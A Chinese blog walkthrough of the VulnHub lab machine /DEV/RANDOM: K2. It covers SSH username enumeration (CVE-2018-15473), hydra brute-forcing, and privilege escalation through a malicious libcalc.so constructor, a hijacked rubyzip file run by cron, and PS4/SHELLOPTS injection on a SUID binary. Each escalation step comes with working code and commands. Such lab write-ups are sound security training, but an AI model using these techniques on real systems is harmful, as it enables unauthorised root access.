vulnhub-/DEV/RANDOM: K2 靶机渗透流程

本篇解题思路参考了靶机作者提供的wp,相关链接:https://www.youtube.com/watch?v=9B1C_xi_yic


靶机信息

下载地址:https://vulnhub.com/entry/devrandom-k2,204/

靶机描述:

在这里插入图片描述


一、信息搜集

扫描获取靶机ip、端口、服务信息

在这里插入图片描述

仅开启了22端口


二、ssh漏洞利用

1.用户名枚举

其实在靶机的描述信息中已经给出了用户名和密码user:password,但我最初没看到

靶机ssh服务版本为OpenSSH 6.6.1,这个版本存在用户名枚举漏洞

使用CVE-2018-15473枚举脚本,导入常用用户名字典后爆破ssh的用户名

在这里插入图片描述

复制结果保存到记事本查找得到用户名

在这里插入图片描述

2.ssh密码爆破

用hydra对用户user进行密码爆破

在这里插入图片描述


三、后渗透提权

1.通过命令调用的.so库文件提权

进去先sudo -l看看,发现可以以user2权限执行/bin/calc命令

尝试后发现自动进行了某种运算,且进度为99%就结束了,似乎缺少某些依赖导致执行中断

在这里插入图片描述

用strace调试下,重点查看调用的库与缺少的库等

strace /bin/calc 2>&1 | grep -i -E "open|access|no such file"

在这里插入图片描述

可以发现缺少/home/user/.config/libcalc.so的共享库文件

同理,strings也能发现这个可疑的文件信息

在这里插入图片描述

在/home/user文件夹下没有发现.config文件夹,那么我们就可以自己编写具有维持权限效果的.c文件编译得到libcalc.so文件让/bin/calc调用从而达到提权效果

在这里插入图片描述

实例.c文件代码如下:

#include <stdio.h> 

#include <stdlib.h> 

static void x()  __attribute__((constructor)); 

void x() 

{        

​	system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); 

}

通过构造函数x让它在程序运行时同步运行,并通过将/bin/bash复制到/tmp下赋予suid并运行来完成提权

编译.c文件

gcc -shared -o libcalc.so -fPIC libcalc.c

随后将/home/user目录添加可执行权限,再次sudo执行/bin/calc即可提权到user2

在这里插入图片描述


2.通过命令调用的.rb文件提权

同样sudo -l先看看,发现可以以user3权限执行/usr/bin/sleep,通过同样方法验证发现没有调用可修改的命令或是依赖,且sleep命令本身无法通过sudo提权

在这里插入图片描述

去user2的用户目录下看看,发现与user用户不同,.bash_history非空。查看后发现修改过定时任务文件/etc/crontab

在这里插入图片描述

在这里插入图片描述

编辑/etc/crontab即可发现隐藏的定时任务/sbin/bckup

在这里插入图片描述

在这里插入图片描述

这一步历史命令多且真实的定时任务隐藏不易发现,故也可以通过定时任务发现脚本pspy64来达成

在这里插入图片描述

在这里插入图片描述

查看/sbin/bckup发现其调用了rubygems和zip库

在这里插入图片描述

通过gem的查找命令找到zip的.rb文件位置,随后惊喜地发现它是可以被user2修改的

gem which zip

在这里插入图片描述

那接下来将提权代码写入.rb文件,让它将user3的bash复制到/tmp中并加上suid

echo '`cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2`' > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb

在这里插入图片描述

等待定时任务执行生成提权文件后执行即可提权到user3的组

在这里插入图片描述


3.通过suid命令提取

sudo -l发现因为uid还是user2,因此显示的sudo命令与user2一样

在这里插入图片描述

可以通过编写脚本来使我们的uid变得与gid相同
实例代码如下:

int main()

{

​	setreuid(geteuid(),getuid());

​	setregid(getegid(),getgid());

​	system("/bin/bash");

}

编译后运行即可

在这里插入图片描述

sudo -l发现user3需要密码才能查看sudo命令列表

在这里插入图片描述

尝试查找具有suid的文件,发现可疑文件/usr/local/bin/whoisme

在这里插入图片描述

通过运行和strings查看到的/usr/bin/logname函数判断,whoisme调用的显示结果就是logname命令的执行结果,尝试运行/usr/bin/logname确认结果一样

在这里插入图片描述

在strings查看/usr/local/bin/whoisme的结果中发现它还调用了setuid和setgid函数,这会使得它允许以更高权限的用户和组的身份执行命令,如果我们能保持该权限即可完成到root的提权

我们可以通过临时修改默认环境变量来维持执行命令时的权限

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4)' /bin/sh -c '/usr/local/bin/whoisme'

其中env -i表示忽略当前其他环境变量值,SHELLOPTS和PS4是linux默认的环境变量,SHELLOPTS=xtrace将追踪之后命令的执行结果并显示,而PS4则会在执行命令时将其/bin/bash复制到/tmp下并修改其属主与属组为root,然后添加suid

在这里插入图片描述

可以看到提权已经成功,在/root下获取flag.txt即可

在这里插入图片描述


四、脚本一键提权

其实在查找suid文件的过程中,我们还会发现一个值得注意的点:/usr/lib/polkit-1/polkit-agent-helper-1

在这里插入图片描述

而这个文件在先前披露的cve-2021-4034中有提权漏洞,可以使用对应的脚本一键快速提权

此刻我们的用户是最初的登录用户user

在这里插入图片描述

我们下载提权脚本后编译并运行,即可一步提权到root

在这里插入图片描述

在这里插入图片描述

  • 17
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值